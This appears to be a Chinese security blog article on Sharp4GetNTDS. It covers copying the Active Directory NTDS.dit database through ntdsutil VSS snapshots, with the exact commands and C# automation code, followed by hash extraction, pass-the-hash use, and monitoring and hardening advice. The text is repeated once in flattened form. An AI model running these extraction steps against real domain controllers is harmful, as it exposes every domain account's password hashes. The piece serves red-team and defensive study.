Sharp4GetNTDS:提取 NTDS 文件获取 Windows 域环境资产信息
字数 1527 2025-08-29 22:41:10

Sharp4GetNTDS:NTDS.dit文件提取与域环境资产信息获取技术详解

1. NTDS.dit文件概述

NTDS.dit(NT Directory Services - Directory Information Tree)是Active Directory的核心数据库文件,基于Extensible Storage Engine(ESE)存储引擎,包含域环境中最关键的信息:

  • 所有域用户与计算机账户
  • 密码哈希(NTLM、Kerberos keys)
  • 组织单位(OU)结构
  • 群组关系
  • 域控策略和信任关系

文件位置:通常位于域控制器上的%SystemRoot%\NTDS\NTDS.dit

相关文件

  • edb.log:事务日志文件
  • edb.chk:检查点文件
  • temp.edb:临时数据库文件

访问限制:这些文件在系统运行时被锁定,无法直接复制

2. NTDS.dit提取方法

2.1 使用ntdsutil.exe工具

ntdsutil.exe是Windows内置的Active Directory管理工具,路径通常为:
%SystemRoot%\System32\ntdsutil.exe

2.1.1 创建VSS快照

ntdsutil "activate instance ntds" snapshot create quit quit

执行成功后,系统会创建NTDS.dit的VSS快照副本

2.1.2 挂载快照

ntdsutil snapshot mount {GUID} quit quit

挂载成功后,系统会返回类似C:\$SNAP_202503281528_VOLUMEC$的路径

2.1.3 复制NTDS.dit文件

copy C:\$SNAP_202503281528_VOLUMEC$\windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit

2.2 自动化提取实现(.NET代码分析)

以下是一个自动化提取NTDS.dit的.NET程序关键逻辑:

  1. 创建快照
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "ntdsutil.exe";
startInfo.Arguments = "activate instance ntds snapshot create quit quit";
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
Process process = Process.Start(startInfo);
string output = process.StandardOutput.ReadToEnd();
  1. 提取快照GUID
    使用正则表达式从输出中提取快照GUID

  2. 挂载快照

startInfo.Arguments = $"snapshot mount {snapshotGuid} quit quit";
Process mountProcess = Process.Start(startInfo);
string mountOutput = mountProcess.StandardOutput.ReadToEnd();
  1. 复制文件
string sourcePath = Path.Combine(mountPoint, "windows", "NTDS", "ntds.dit");
string destPath = Path.Combine(Environment.GetEnvironmentVariable("windir"), "Temp", "ntds.dit");
File.Copy(sourcePath, destPath, true);

3. NTDS.dit文件分析

3.1 使用DIT Explorer工具

DIT Explorer是一个.NET编写的Windows应用程序,专门用于浏览和分析NTDS.dit文件

主要功能

  • 查看域用户和计算机账户
  • 提取密码哈希
  • 分析组关系
  • 查看组织单位结构

3.2 提取的关键信息

  1. 用户账户信息

    • SAM账户名
    • 用户SID
    • 描述信息
    • 最后登录时间
  2. 密码哈希

    • NTLM哈希
    • Kerberos密钥
    • 密码历史记录(如果启用)
  3. 组关系

    • 全局组
    • 域本地组
    • 通用组
    • 嵌套组成员关系
  4. 信任关系

    • 域间信任
    • 信任类型
    • 信任方向

4. 攻防对抗技术

4.1 攻击面

  1. 横向移动

    • 使用提取的哈希进行Pass-the-Hash攻击
    • Kerberos票据重放
  2. 权限提升

    • 分析特权组关系寻找提权路径
    • 识别服务账户密码重用
  3. 持久化

    • 创建隐藏账户
    • 修改组策略

4.2 防御措施

  1. 监控与检测

    • 监控ntdsutil.exe异常使用
    • 检测VSS快照创建活动
    • 审计域控制器上的文件访问
  2. 保护措施

    • 限制对域控制器的管理访问
    • 实施凭证保护(如LSA保护)
    • 启用Windows Defender Credential Guard
  3. 应急响应

    • 定期备份NTDS.dit用于取证
    • 监控异常认证活动
    • 实施密码哈希轮换

5. 技术总结

NTDS.dit文件作为Active Directory的核心数据库,包含了域环境的完整信息架构。通过VSS快照技术可以绕过文件锁定限制获取该文件,进而提取域内所有账户的密码哈希和安全信息。这一技术在红队渗透测试中具有极高价值,同时也是蓝队需要重点防御的攻击路径。

关键点总结

  1. NTDS.dit存储了域环境的完整信息架构
  2. VSS快照技术可以绕过文件锁定限制
  3. ntdsutil.exe是合法的管理工具但可被滥用
  4. 提取的哈希可用于多种攻击技术
  5. 防御需要多层防护和持续监控
Sharp4GetNTDS:NTDS.dit文件提取与域环境资产信息获取技术详解 1. NTDS.dit文件概述 NTDS.dit(NT Directory Services - Directory Information Tree)是Active Directory的核心数据库文件,基于Extensible Storage Engine(ESE)存储引擎,包含域环境中最关键的信息: 所有域用户与计算机账户 密码哈希(NTLM、Kerberos keys) 组织单位(OU)结构 群组关系 域控策略和信任关系 文件位置 :通常位于域控制器上的 %SystemRoot%\NTDS\NTDS.dit 相关文件 : edb.log:事务日志文件 edb.chk:检查点文件 temp.edb:临时数据库文件 访问限制 :这些文件在系统运行时被锁定,无法直接复制 2. NTDS.dit提取方法 2.1 使用ntdsutil.exe工具 ntdsutil.exe是Windows内置的Active Directory管理工具,路径通常为: %SystemRoot%\System32\ntdsutil.exe 2.1.1 创建VSS快照 执行成功后,系统会创建NTDS.dit的VSS快照副本 2.1.2 挂载快照 挂载成功后,系统会返回类似 C:\$SNAP_202503281528_VOLUMEC$ 的路径 2.1.3 复制NTDS.dit文件 2.2 自动化提取实现(.NET代码分析) 以下是一个自动化提取NTDS.dit的.NET程序关键逻辑: 创建快照 : 提取快照GUID : 使用正则表达式从输出中提取快照GUID 挂载快照 : 复制文件 : 3. NTDS.dit文件分析 3.1 使用DIT Explorer工具 DIT Explorer是一个.NET编写的Windows应用程序,专门用于浏览和分析NTDS.dit文件 主要功能 : 查看域用户和计算机账户 提取密码哈希 分析组关系 查看组织单位结构 3.2 提取的关键信息 用户账户信息 : SAM账户名 用户SID 描述信息 最后登录时间 密码哈希 : NTLM哈希 Kerberos密钥 密码历史记录(如果启用) 组关系 : 全局组 域本地组 通用组 嵌套组成员关系 信任关系 : 域间信任 信任类型 信任方向 4. 攻防对抗技术 4.1 攻击面 横向移动 : 使用提取的哈希进行Pass-the-Hash攻击 Kerberos票据重放 权限提升 : 分析特权组关系寻找提权路径 识别服务账户密码重用 持久化 : 创建隐藏账户 修改组策略 4.2 防御措施 监控与检测 : 监控ntdsutil.exe异常使用 检测VSS快照创建活动 审计域控制器上的文件访问 保护措施 : 限制对域控制器的管理访问 实施凭证保护(如LSA保护) 启用Windows Defender Credential Guard 应急响应 : 定期备份NTDS.dit用于取证 监控异常认证活动 实施密码哈希轮换 5. 技术总结 NTDS.dit文件作为Active Directory的核心数据库,包含了域环境的完整信息架构。通过VSS快照技术可以绕过文件锁定限制获取该文件,进而提取域内所有账户的密码哈希和安全信息。这一技术在红队渗透测试中具有极高价值,同时也是蓝队需要重点防御的攻击路径。 关键点总结 : NTDS.dit存储了域环境的完整信息架构 VSS快照技术可以绕过文件锁定限制 ntdsutil.exe是合法的管理工具但可被滥用 提取的哈希可用于多种攻击技术 防御需要多层防护和持续监控